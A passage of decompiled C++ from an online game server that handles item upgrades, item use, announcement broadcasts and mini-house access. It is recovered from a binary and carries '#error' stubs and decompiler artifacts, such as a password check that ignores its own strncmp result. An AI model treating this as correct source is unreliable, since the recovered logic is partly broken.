10); nItemUpLimita = *(_BYTE *)(v9 + 12); break; case 4: v15 = *(_BYTE *)(v9 + 14); v16 = *(_BYTE *)(v9 + 16); LABEL_8: nCon = v15; nItemUpLimita = v16; break; default: v40 = "Item_Upgrade Table mode"; goto LABEL_57; } if ( pInventorya <= (unsigned __int8)nCon ) { --funcallanalizer.fca_stackpoint; v53 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_Upgrade Table mode"); return 1; } v18 = (int)v7->vfptr->ib_GetInventoryCell(v7, (unsigned __int8)nItemUpgradeFailCount); v19 = *(_WORD *)(v18 + 8); if ( !Item_IsUpSource(v10, *(_WORD *)(v18 + 8), nCon) ) { --funcallanalizer.fca_stackpoint; v53 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_Upgrade Table mode"); return 2; } pItemIDRawInfo = ItemDataBox::operator__(&itemdatabox, v19)->data; if ( RawLeftSlotNo != -1 ) { v20 = (int)v7->vfptr->ib_GetInventoryCell(v7, (unsigned __int8)RawLeftSlotNo); v21 = *(_WORD *)(v20 + 8); if ( !Item_IsUpSourceLeftRight(v10, *(_WORD *)(v20 + 8), nCon) ) { v53 = -1; FunctionEntarance::_FunctionEntarance(&_); return 8; } v22 = ItemDataBox::operator__(&itemdatabox, v21); v14 = 13 * nItemUpLimita; pItemRawLeftInfo = v22->data; } if ( RawRightSlotNo != -1 ) { v23 = (int)v7->vfptr->ib_GetInventoryCell(v7, (unsigned __int8)RawRightSlotNo); v24 = *(_WORD *)(v23 + 8); if ( !Item_IsUpSourceLeftRight(v10, *(_WORD *)(v23 + 8), nCon) ) { v53 = -1; FunctionEntarance::_FunctionEntarance(&_); return 9; } pItemRawRightInfo = ItemDataBox::operator__(&itemdatabox, v24)->data; v14 += 12 * nItemUpLimita; } if ( v14 / 10 ) nItemUpLimita = v14 / 10; if ( RawMiddleSlotNo != -1 ) { v25 = (int)v7->vfptr->ib_GetInventoryCell(v7, (unsigned __int8)RawMiddleSlotNo); v26 = *(_WORD *)(v25 + 8); if ( !Item_IsUpSourceLeftRight(v10, *(_WORD *)(v25 + 8), nCon) ) { v53 = -1; FunctionEntarance::_FunctionEntarance(&_); return 10; } pItemRawMiddleInfo = ItemDataBox::operator__(&itemdatabox, v26)->data; } v52 = (unsigned __int8)nCon; v27 = (unsigned __int8)nCon + 12 * nGrade - 12; v28 = CDataReader::GetRecord(&gItemUpgrade, (unsigned __int8)nCon + 12 * nGrade - 12); v29 = *((_WORD *)v28 + 2); LOWORD(v30) = *((_WORD *)v28 + 3); v31 = *((_WORD *)v28 + 4); nCona = *((_WORD *)v28 + 5); if ( ItemClass != 4 || ((v32 = ITableBase::GetByIndex(v27)) == 0 ? AssertClass::ac_AssertFail( &shineassert, "Item_Upgrade Not Found AccUpgrade Index :", v27) : (v29 = v32->CriFail, LOWORD(v30) = v32->DownFail, v31 = v32->NormalFail, nCona = v32->nCon), (v33 = ItemDataBox::operator__(&itemdatabox, nItemID)) != 0 && ItemRandomOption::RandomOptionTable::operator__(&itemrandomoptiontable, v33->dataserv->RandomOptionDropGroup)) ) { v34 = pItemIDRawInfo->UpSucRatio; if ( RawMiddleSlotNo != -1 ) v34 += pItemRawMiddleInfo->UpSucRatio; v35 = v29; v30 = (unsigned __int16)v30; v36 = (unsigned __int16)v30 + v29 + v31 - (nItemUpLimita * nCona - pItemIDInfo->DemandLv + v34 + 120); v37 = RandomBox::rb_1000(&rndbox); if ( (unsigned __int16)v37 > v36 ) { v39 = pItemIDRawInfo->UpLuckRatio; v38 = 0; if ( RawLeftSlotNo != -1 ) v39 += pItemRawLeftInfo->UpLuckRatio; if ( RawRightSlotNo != -1 ) v39 += pItemRawRightInfo->UpLuckRatio; if ( RawMiddleSlotNo != -1 ) v39 += pItemRawMiddleInfo->UpLuckRatio; if ( v39 > 0 ) { if ( RandomBox::rb_1000(&rndbox) < v39 ) { v38 = 1; if ( v52 + 2 > (unsigned __int8)pInventorya ) v38 = 0; } } } else { if ( v37 >= v35 ) { if ( v37 >= v30 || (v38 = 3, RawRightSlotNo != -1) && RandomBox::rb_1000(&rndbox) < (signed int)pItemRawRightInfo->UpSucRatio ) v38 = 2; } else { v38 = 4; if ( RawLeftSlotNo != -1 ) { if ( RandomBox::rb_1000(&rndbox) < (signed int)pItemRawLeftInfo->UpSucRatio ) v38 = 2; } } } v53 = -1; FunctionEntarance::_FunctionEntarance(&_); result = v38 + 3; } else { v53 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 0; } } else { v40 = "Item_Upgrade Table mode"; LABEL_57: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v40); result = 0; } return result; } //----- (004EB760) -------------------------------------------------------- #error "4EB760: undefined or illegal type '#434' (funcsize=1177)" //----- (004EC760) -------------------------------------------------------- #error "4EC760: undefined or illegal type '#325' (funcsize=185)" //----- (004EC980) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_NC_ITEMDB_USE_ACK(__int16 index) { AssertClass::ac_AssertFail(&shineassert, "ShineObject::so_NC_ITEMDB_USE_ACK", 0); } //----- (004EC9A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ItemUseBroadcast(int this, int useitem, __int16 itmid) { int v3; // esi@1 char *v4; // eax@2 int v5; // ecx@2 int v6; // ST04_4@2 int v7; // eax@2 AxialListPacketBroadcast alchat; // [sp+1Ch] [bp-18h]@2 int v9; // [sp+30h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(useitem + 12) ) { v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12329; *((_WORD *)v4 + 1) = *(_WORD *)(this + 4); v5 = *(_DWORD *)(this + 78); *((_DWORD *)v4 + 1) = *(_DWORD *)v5; *((_DWORD *)v4 + 2) = *(_DWORD *)(v5 + 4); *((_WORD *)v4 + 6) = itmid; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 14); v6 = *(_DWORD *)(v3 + 78); v9 = 0; v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v3, v7, v6, 0, 0, (int)&alchat, 1, 65535); v9 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } } //----- (004ECA50) -------------------------------------------------------- void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this) { this->mq_Pointer.mask = 127; this->mq_Pointer.value = 0; } //----- (004ECA70) -------------------------------------------------------- unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryQueueRoar *content) { MemoryQueue *v3; // eax@1 unsigned int v4; // ecx@1 v3 = this; v4 = this->mq_Pointer.mask & (this->mq_Pointer.value + 1); v3->mq_Pointer.value = v4; v3->mq_Buffer[v4].handle = hnd; memcpy(&v3->mq_Buffer[v3->mq_Pointer.value].content, content, sizeof(v3->mq_Buffer[v3->mq_Pointer.value].content)); return LOWORD(v3->mq_Pointer.value); } //----- (004ECAD0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_USEABORT_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USEABORT_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USEABORT_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S4_16 & 1) ) { _S4_16 |= 1u; cmc_73.cmc_AllowMode = 70; atexit(_E5_61); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_73.cmc_AllowMode ) *((_DWORD *)v4 + 1781) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USEABORT_CMD"); } //----- (004ECBB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // edi@1 int v6; // eax@5 char v7; // al@7 void *v8; // ecx@7 char v9; // al@11 int v10; // ST0C_4@14 signed int v11; // eax@14 int v12; // eax@18 int v13; // ebp@18 int v14; // edi@18 ItemDataBox::ItemDataBoxIndex *v15; // eax@18 ItemDataBox::ItemDataBoxIndex *v16; // ebx@18 int v17; // eax@20 int v18; // eax@26 signed int v19; // [sp+8h] [bp-28h]@4 signed int v20; // [sp+Ch] [bp-24h]@4 char *v21; // [sp+Ch] [bp-24h]@8 FunctionEntarance _; // [sp+20h] [bp-10h]@1 int v23; // [sp+2Ch] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v23 = 0; v5 = (int)((char *)v4 + 35536); if ( !(_S6_66 & 1) ) { _S6_66 |= 1u; cmc_74.cmc_AllowMode = 70; atexit(_E7_49); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_74.cmc_AllowMode) ) { v20 = 9; v19 = 1793; LABEL_34: (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 2240))(v4, v19, v20); v21 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ"; goto LABEL_35; } v6 = *(_DWORD *)((char *)v4 + 98); if ( !v6 || !*(_BYTE *)(*(_DWORD *)(v6 + 12) + 158) ) { v20 = 9; v19 = 1808; goto LABEL_34; } v7 = (*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14434) + 16))((char *)v4 + 57736); v8 = v4; if ( v7 ) { (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 2240))(v4, 1793, 9); v21 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ"; LABEL_35: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v21); return; } if ( *((_BYTE *)v4 + 69416) & 8 || (v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2656))(v4), v8 = v4, v9 == 1) ) { (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 2240))(v8, 1793, 9); v23 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2440))(v4) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 2240))(v4, 1793, 9); v23 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { v10 = *(_BYTE *)(netcmd + 2); v11 = (*(int (__thiscall **)(char *))(*(_DWORD *)v5 + 8))((char *)v4 + 35536); if ( AssertClass::operator__( &shineassert, *(_BYTE *)(netcmd + 2) < v11, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ : wrong slot", v10) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ : Inventory type", 9); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 2240))(v4, 1794, 9); } else { if ( (unsigned __int8)(*(int (__thiscall **)(char *, signed int, _DWORD, _DWORD))(*((_DWORD *)v4 + 14434) + 4))( (char *)v4 + 57736, 9, *(_BYTE *)(netcmd + 2), *((_WORD *)v4 + 46075)) ) { (*(void (__thiscall **)(_DWORD, signed int, _DWORD))(*(_DWORD *)v4 + 2240))(v4, 1802, 9); } else { v12 = (**(int (__thiscall ***)(char *, _DWORD))v5)((char *)v4 + 35536, *(_BYTE *)(netcmd + 2)); v13 = v12; v14 = v12 + 8; v15 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v12 + 8)); v16 = v15; v17 = v15 && v15->data; if ( AssertClass::operator__( &shineassert, v17, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ : Try to use empty cell", 0) ) { (*(void (__thiscall **)(_DWORD, signed int, _DWORD))(*(_DWORD *)v4 + 2240))(v4, 1795, 9); } else { *((_WORD *)v4 + 46115) = *(_WORD *)v14; if ( v16->data->DemandLv <= (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1220))(v4) ) { v18 = (*(int (__stdcall **)(int))(**(_DWORD **)(v13 + 112) + 24))(v13 + 8); if ( AssertClass::operator__( &shineassert, v18 > 0, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ : Try to use lot 0 item", 0) ) { (*(void (__thiscall **)(_DWORD, signed int, _DWORD))(*(_DWORD *)v4 + 2240))(v4, 1795, 9); } else { if ( !*(_BYTE *)(*(_DWORD *)(*(_DWORD *)((char *)v4 + 98) + 12) + 103) || v16->dataserv->PK_KQ_USE ) ShineObjectClass::ShinePlayer::sp_ItemUseReq_Inven(v4, *(_BYTE *)(netcmd + 2), v13, v16); else (*(void (__thiscall **)(_DWORD, signed int, _DWORD))(*(_DWORD *)v4 + 2240))(v4, 1808, 9); } } else { (*(void (__thiscall **)(_DWORD, signed int, _DWORD))(*(_DWORD *)v4 + 2240))(v4, 1800, 9); } } } } v23 = -1; FunctionEntarance::_FunctionEntarance(&_); } } } // 4EC760: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_ItemUseReq_Inven(_DWORD, _DWORD, _DWORD, _DWORD); //----- (004ECF30) -------------------------------------------------------- #error "4ECF30: undefined or illegal type '#325' (funcsize=75)" //----- (004ED040) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_NC_ITEMDB_USE_ACK(void *this, int index) { void *v2; // esi@1 int v3; // eax@1 DebugLogging *v4; // esi@2 _iobuf *v5; // eax@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_USE_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_USE_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2240))(v2, 1792, 9); v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, int, _DWORD))(*(_DWORD *)v3 + 24))(v3, v2, index, 0) ) { v4 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_USE_ACK : "); if ( DebugLogging::dl_ActivAll ) { if ( v4->dl_Activ ) { DebugLogging::dl_FilePoint(v4); v5 = v4->dl_FilePointer; if ( v5 ) fprintf(v5, "%d"); } } DebugLogging::operator<<(v4, &deb_LF); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_NC_ITEMDB_USE_ACK"); } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004ED160) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_ItemUse(void *this, int itminf, int invenslot) { int v3; // esi@1 int v4; // edi@1 __int16 *v5; // ebx@1 int v6; // eax@2 UseEffect::UIE_Functions *v7; // eax@5 unsigned __int16 v8; // ax@7 int v9; // edx@7 int v10; // edi@10 signed int v11; // eax@10 int useitem; // [sp+30h] [bp-14h]@7 v3 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_ItemUse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ply_ItemUse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (**(int (__thiscall ***)(_DWORD, _DWORD))(v3 + 35536))(v3 + 35536, (unsigned __int8)invenslot); v5 = (__int16 *)(v4 + 8); if ( ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v4 + 8)) ) { v6 = (*(int (__stdcall **)(int))(**(_DWORD **)(v4 + 112) + 24))(v4 + 8); if ( v6 > 0 ) { if ( *v5 < useditemeffect.uie_MaxItemID ) v7 = &useditemeffect.uie_FuncStruct[(unsigned __int16)*v5]; else v7 = useditemeffect.uie_FuncStruct; useitem = (int)v7; v8 = (**(int (__stdcall ***)(_DWORD, _DWORD))v7->useitemclass)(v3, v4); v9 = *(_DWORD *)v3; if ( v8 == 1792 ) { (*(void (__thiscall **)(int, signed int, signed int))(v9 + 772))(v3, 12, 26); ShineObjectClass::ShinePlayer::sp_ItemUseBroadcast(v3, useitem, *v5); if ( *(_WORD *)(v3 + 7128) == 29200 ) { v10 = *(_DWORD *)v3; v11 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 976))(v3); (*(void (__thiscall **)(int, _DWORD, int))(v10 + 884))(v3, *(_WORD *)(v3 + 7128), v11 / 1000); } (*(void (__stdcall **)(int, int, int, int))(**(_DWORD **)(useitem + 4) + 8))(v3, v3 + 35536, itminf, invenslot); } else { (*(void (__thiscall **)(int, _DWORD, signed int))(v9 + 2240))(v3, v8, 9); } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ : Try to use lot 0 item", v6 > 0); (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v3 + 2240))(v3, 1795, 9); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_ItemUse"); } //----- (004ED310) -------------------------------------------------------- #error "4ED310: undefined or illegal type '#434' (funcsize=66)" //----- (004ED420) -------------------------------------------------------- #error "4ED420: undefined or illegal type '#434' (funcsize=281)" //----- (004ED7D0) -------------------------------------------------------- #error "4ED7D0: undefined or illegal type '#434' (funcsize=244)" //----- (004EDB30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_RoarItemUseSuccess(void *this) { void *v1; // esi@1 unsigned __int16 v2; // ax@1 char *v3; // edi@2 int v4; // eax@3 char *v5; // edi@3 DebugLogging *v6; // eax@3 DebugLogging *v7; // esi@3 _iobuf *v8; // eax@5 DebugLogging *v9; // eax@7 DebugLogging *v10; // eax@7 int v11; // eax@9 unsigned int v12; // ecx@9 char *v13; // ecx@9 char *v14; // ST04_4@9 DebugLogging *v15; // eax@9 DebugLogging *v16; // eax@9 int v17; // eax@12 Name4 name; // [sp+4h] [bp-20h]@12 unsigned int v19; // [sp+14h] [bp-10h]@14 int v20; // [sp+20h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_RoarItemUseSuccess"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_RoarItemUseSuccess"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_WORD *)v1 + 46094); v20 = 0; if ( v2 < 0x80u && (v3 = (char *)&queue_roar + 132 * v2) != 0 ) { if ( *((_WORD *)v1 + 2) == *(_WORD *)v3 ) { if ( (unsigned __int8)v3[130] >= 0x80u ) v3[130] = 127; v3[(unsigned __int8)v3[130] + 2] = 0; v17 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1352))(v1); *(_QWORD *)&name.n4_name[0] = *(_QWORD *)v17; *(_QWORD *)&name.n4_name[8] = *(_QWORD *)(v17 + 8); CAnnounceSystem::AnnounceSystem_Roar(&gAnnounceSystem, &name, v3 + 2); (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v1 + 776))(v1, 8, 76, 1792); } else { v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1352))(v1); v12 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v12; v13 = (char *)&namestring + 256 * v12; *(_DWORD *)v13 = *(_DWORD *)v11; *((_DWORD *)v13 + 1) = *(_DWORD *)(v11 + 4); *((_DWORD *)v13 + 2) = *(_DWORD *)(v11 + 8); v14 = v13; *((_DWORD *)v13 + 3) = *(_DWORD *)(v11 + 12); v13[16] = 0; v15 = DebugLogging::operator<<(&ChargedItemLog, "Roar Null "); v16 = DebugLogging::operator<<(v15, v14); DebugLogging::operator<<(v16, &deb_LF); } v20 = -1; } else { v4 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1352))(v1); namestring.ns_point.value = namestring.ns_point.mask & (namestring.ns_point.value + 1); v5 = (char *)&namestring + 256 * namestring.ns_point.value; *(_DWORD *)v5 = *(_DWORD *)v4; *((_DWORD *)v5 + 1) = *(_DWORD *)(v4 + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(v4 + 8); *((_DWORD *)v5 + 3) = *(_DWORD *)(v4 + 12); v5[16] = 0; v6 = DebugLogging::operator<<(&ChargedItemLog, "Roar Null return "); v7 = v6; if ( DebugLogging::dl_ActivAll ) { if ( v6->dl_Activ ) { DebugLogging::dl_FilePoint(v6); v8 = v7->dl_FilePointer; if ( v8 ) fprintf(v8, "%d"); } } v9 = DebugLogging::operator<<(v7, (char *)&stru_5A4E3C); v10 = DebugLogging::operator<<(v9, v5); DebugLogging::operator<<(v10, &deb_LF); v20 = -1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_RoarItemUseSuccess"); __security_check_cookie(v19); } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004EDD80) -------------------------------------------------------- #error "4EDD80: undefined or illegal type '#325' (funcsize=139)" //----- (004EDF00) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_CanEnter(ShineObjectClass::ShineMiniHouse *this) { return this->smh_Info.CanEnter >= 5u; } //----- (004EDF10) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_isPublic(ShineObjectClass::ShineMiniHouse *this) { return this->smh_Info.isPublic; } //----- (004EDF20) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_PasswordComp(ShineObjectClass::ShineMiniHouse *this, char *Password) { char result; // al@2 int v3; // eax@5 if ( this->smh_Info.isPublic ) { result = 1; } else { if ( Password ) { strncmp(this->smh_Info.Password, Password, 8u); result = v3 == 0; } else { result = 0; } } return result; } //----- (004EDF60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_BroadcastNotify(ShineObjectClass::ShineMiniHouse *this, char *Chat) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 int i; // edi@1 int v4; // eax@2 v2 = this; for ( i = 5 - (unsigned __int8)(*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 112))(); i < (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v2->gap0[0] + 108))(v2); ++i ) { v4 = (*(int (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)&v2->gap0[0] + 104))(v2, i); if ( v4 ) (*(void (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v4 + 1836))(v4, Chat); } } //----- (004EDFC0) -------------------------------------------------------- NPCManager::LinkInformTemplete *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetRollBackLinkPos(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 unsigned int v2; // eax@1 char *v3; // eax@1 FieldOption::FieldAttr *v4; // eax@1 unsigned int v5; // ecx@2 char *v6; // ecx@2 v1 = this; v2 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v2; v3 = (char *)&namestring + 256 * v2; *(_QWORD *)v3 = *(_QWORD *)&this->smh_Info.RollBackPos.exitmapname.n3_name[0]; *((_DWORD *)v3 + 2) = *(_DWORD *)&this->smh_Info.RollBackPos.exitmapname.n3_name[8]; v3[12] = 0; strncpy(Dest, v3, 0xCu); byte_124D24E8 = 0; v4 = FieldOption::fo_GetFieldAttr(&::this, Dest); if ( v4 ) { v5 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v5; v6 = (char *)&namestring + 256 * v5; *(_DWORD *)v6 = *(_DWORD *)&v4->mapidclient.n3_name[0]; *((_DWORD *)v6 + 1) = *(_DWORD *)&v4->mapidclient.n3_name[4]; *((_DWORD *)v6 + 2) = *(_DWORD *)&v4->mapidclient.n3_name[8]; v6[12] = 0; strncpy(byte_124D24FD, v6, 0x20u); byte_124D2509 = 0; dword_124D251E = v1->smh_Info.loginloc.currentcoord.xy.x; dword_124D2522 = v1->smh_Info.loginloc.currentcoord.xy.y; } return (NPCManager::LinkInformTemplete *)&ShineObjectClass::ShineMiniHouse::smh_StaticRollBackPos; } // 124D24E8: using guessed type char byte_124D24E8; // 124D2509: using guessed type char byte_124D2509; // 124D251E: using guessed type int dword_124D251E; // 124D2522: using guessed type int dword_124D2522; //----- (004EE090) -------------------------------------------------------- NPCManager::LinkInformTemplete *__thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetEnterLinkPos(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 unsigned int v2; // eax@1 char *v3; // eax@1 unsigned int v4; // eax@1 char *v5; // eax@1 FieldOption::FieldAttr *v6; // esi@1 NPCManager::LinkInformTemplete *result; // eax@2 unsigned int v8; // eax@3 char *v9; // eax@3 unsigned int v10; // eax@3 MapInfo *v11; // edi@6 unsigned int v12; // eax@7 char *v13; // eax@7 v1 = this; v2 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v2; v3 = (char *)&namestring + 256 * v2; *(_QWORD *)v3 = *(_QWORD *)&this->smh_Info.EnterPos.entermapname.n3_name[0]; *((_DWORD *)v3 + 2) = *(_DWORD *)&this->smh_Info.EnterPos.entermapname.n3_name[8]; v3[12] = 0; strncpy(byte_124D2624, v3, 0xCu); v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; byte_124D2630 = 0; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)&v1->smh_Info.EnterPos.entermapname.n3_name[0]; *((_DWORD *)v5 + 1) = *(_DWORD *)&v1->smh_Info.EnterPos.entermapname.n3_name[4]; *((_DWORD *)v5 + 2) = *(_DWORD *)&v1->smh_Info.EnterPos.entermapname.n3_name[8]; v5[12] = 0; v6 = FieldOption::fo_GetFieldAttr(&::this, v5); if ( v6 ) { v8 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v8; v9 = (char *)&namestring + 256 * v8; *(_DWORD *)v9 = *(_DWORD *)&v6->mapidclient.n3_name[0]; *((_DWORD *)v9 + 1) = *(_DWORD *)&v6->mapidclient.n3_name[4]; *((_DWORD *)v9 + 2) = *(_DWORD *)&v6->mapidclient.n3_name[8]; v9[12] = 0; v10 = BTree::operator__(&mapdatabox.mdb_btree, v9); if ( v10 == -1 ) LOWORD(v10) = -1; v10 = (unsigned __int16)v10; if ( (unsigned __int16)v10 < mapdatabox.mdb_maxmapid ) { v11 = mapdatabox.mdb_index[v10]; if ( v11 ) { v12 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v12; v13 = (char *)&namestring + 256 * v12; *(_DWORD *)v13 = *(_DWORD *)&v6->mapidclient.n3_name[0]; *((_DWORD *)v13 + 1) = *(_DWORD *)&v6->mapidclient.n3_name[4]; *((_DWORD *)v13 + 2) = *(_DWORD *)&v6->mapidclient.n3_name[8]; v13[12] = 0; strncpy(byte_124D2645, v13, 0xCu); byte_124D2651 = 0; dword_124D2666 = v11->RegenX; dword_124D266A = v11->RegenY; } } result = (NPCManager::LinkInformTemplete *)&ShineObjectClass::ShineMiniHouse::smh_StaticEnterPos; } else { result = 0; } return result; } // 124D2630: using guessed type char byte_124D2630; // 124D2651: using guessed type char byte_124D2651; // 124D2666: using guessed type int dword_124D2666; // 124D266A: using guessed type int dword_124D266A; //----- (004EE1F0) -------------------------------------------------------- PROTO_NC_CHAR_BASE_CMD::LoginLocation *__thiscall ShineObjectClass::ShineMiniHouse::so_LoginLocation(ShineObjectClass::ShineMiniHouse *this) { return &this->smh_Info.loginloc; } //----- (004EE200) -------------------------------------------------------- #error "4EE200: undefined or illegal type '#325' (funcsize=7)" //----- (004EE220) -------------------------------------------------------- signed int __cdecl ShineObjectClass::ShineObject::so_mh_GetOwnerRegistNumber() { return 65535; } //----- (004EE230) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetOwnerRegistNumber(ShineObjectClass::ShineMiniHouse *this) { return this->smh_Info.EnterPlayerIndex[5]; } //----- (004EE240) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_GetMemberPlayerHandleNumber(int spc) { return -1; } //----- (004EE250) -------------------------------------------------------- #error "4EE250: undefined or illegal type '#325' (funcsize=8)" //----- (004EE270) -------------------------------------------------------- unsigned int __thiscall 